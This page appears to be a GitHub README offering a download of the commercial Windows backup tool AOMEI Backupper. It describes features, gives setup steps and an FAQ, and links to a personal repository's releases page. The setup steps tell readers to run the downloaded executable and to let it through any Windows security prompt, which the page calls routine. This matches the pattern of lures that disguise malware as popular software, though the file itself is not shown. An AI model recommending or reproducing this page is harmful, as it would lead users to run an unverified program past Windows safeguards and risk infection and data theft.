AOMEI-Backupper is a Windows desktop tool that keeps your files, folders, and disks safe by making copies you can restore at any time. It also helps you manage disk partitions, move your operating system to a new drive, resize or merge partitions, and recover lost partitions — all through a simple point-and-click window instead of commands or scripts.
If you have ever worried about losing photos, work documents, or an entire Windows installation after a crash, a virus, or a failed update, this application is built for exactly that situation. You choose what to protect, you choose where the copy goes, and you press a button. That is the whole idea.
Getting the application onto your computer takes just a few minutes and requires no technical knowledge.
- Open the download page using the link in the next section.
- Save the file to a folder you can easily find, such as your Downloads folder.
- When the download finishes, open the file to begin using the application.
- Follow the on-screen prompts. Everything is presented in plain language with large, clearly labeled buttons.
You do not need to install extra tools, edit configuration files, open a command prompt, or understand anything about coding. The application is designed for everyday Windows users who simply want their data protected.
Visit this link to download the application:
Once you are on that page, look for the most recent release at the top of the list. Releases are listed with the newest one first, so the top entry is the one you want. Open it and choose the file listed under its assets to start the download.
After the download completes:
- Locate the downloaded file in your Downloads folder.
- Open it by double-clicking.
- If Windows shows a security prompt asking whether you want to run the file, choose the option that allows it to continue. This is a standard Windows message that appears for many downloaded programs.
- Follow the short setup screens until the process finishes.
- Launch the application from the shortcut created on your desktop or from your Start menu.
That is the entire setup process. There is nothing else to configure before you can start protecting your data.
Select the documents, photos, videos, or entire folders you care about, choose a destination such as an external drive or a second internal disk, and create a copy. You can repeat this whenever you like, and each copy stays separate so an older version is always available if a newer one is damaged.
If you want a complete safety net, you can copy a whole disk or a single partition. This captures everything on that drive in one operation, which is useful before making major changes to your computer.
When something goes wrong — a deleted folder, a corrupted drive, a failed update — you open the application, point it at your backup, and restore. You can restore everything at once or pick only the specific files you need.
Free space on one drive while another is full? The partition tools let you shrink a partition, extend it into unused space, merge two partitions into one, or split a large partition into two smaller ones. All of this happens through a visual layout of your drives, so you can see exactly what will change before you confirm.
When you upgrade to a larger or faster drive, you do not need to reinstall Windows or reinstall all your programs. The OS migration feature copies your entire Windows setup, including your applications and personal files, to the new drive so the computer starts up exactly as it did before.
If a partition disappears after a mistake or a system problem, the recovery feature scans the drive and helps you bring that partition back so its contents become accessible again.
A single overview screen shows every drive connected to your computer, how large each one is, how much space is free, and what file system it uses. From that screen you can start any of the operations above without hunting through menus.
- Open the application from your desktop shortcut.
- Choose the backup option that matches what you want to protect — files and folders, a single partition, or a whole disk.
- Select the source: the folders or the drive you want to copy.
- Select the destination: an external hard drive, a USB stick, or a second internal drive. Never choose the same drive you are copying from.
- Give the backup a name you will recognize later, then start the operation and wait for it to finish.
When the progress bar completes, your data is protected. Write the backup name and destination on a note if you plan to create several backups over time — it makes restoring much faster later.
- Keep backups on a separate physical drive. A copy stored on the same disk does not help if that disk fails.
- Create a backup before big changes. Installing a new operating system update, resizing a partition, or replacing hardware are all good moments for a fresh copy.
- Label your backups clearly. A name like "Photos-January" tells you far more than "Backup1".
- Check your backups occasionally. Restore a single unimportant file now and then to confirm everything works as expected.
- Disconnect external drives when finished. This reduces the chance of accidental changes and keeps the drive healthy.
| Task | What It Means in Plain Language |
|---|---|
| Resize | Make a drive section smaller or larger |
| Merge | Combine two sections into one bigger section |
| Split | Divide one section into two separate sections |
| Migrate | Copy Windows and all your programs to a new drive |
| Recover | Bring back a drive section that disappeared |
Each task shows a preview of the drive layout before anything is applied, so you can review the result and cancel if it does not look right.
Do I need to know anything about computers to use this? No. Every action is a button or a dropdown. The application explains what each option does as you go.
Where should I save my backups? An external USB drive is the simplest choice for most people. A second internal drive works well too, as long as it is not the same drive holding the original files.
Can I use the application on more than one computer? You can download it on each Windows computer you own and follow the same short setup each time.
What happens if I close the application during a backup? The operation stops. Simply open the application again and start the backup fresh — nothing on your original files is altered by an interrupted copy.
Will my files be changed during a backup? No. Backing up only reads your files and writes copies to the destination you selected.
How often should I back up? For important work files, once a week is a sensible habit. For photos and personal documents, once a month plus before any major change to your computer is usually enough.
The application is built for Windows desktop computers. Before running any partition or migration task, close other programs so nothing is using the drive while it is being changed. Save your work first. These steps keep the process smooth and predictable.
If a task requires a restart to complete, the application will tell you clearly and wait for your confirmation before doing anything.
Keep this link somewhere handy so you can return to it whenever you need the latest release:
https://github.com/Ray-Filpo/AOMEI-Backupper/releases
Bookmark it in your browser. That way, if you ever move to a new computer or need to set the application up again, you will not have to search for it.
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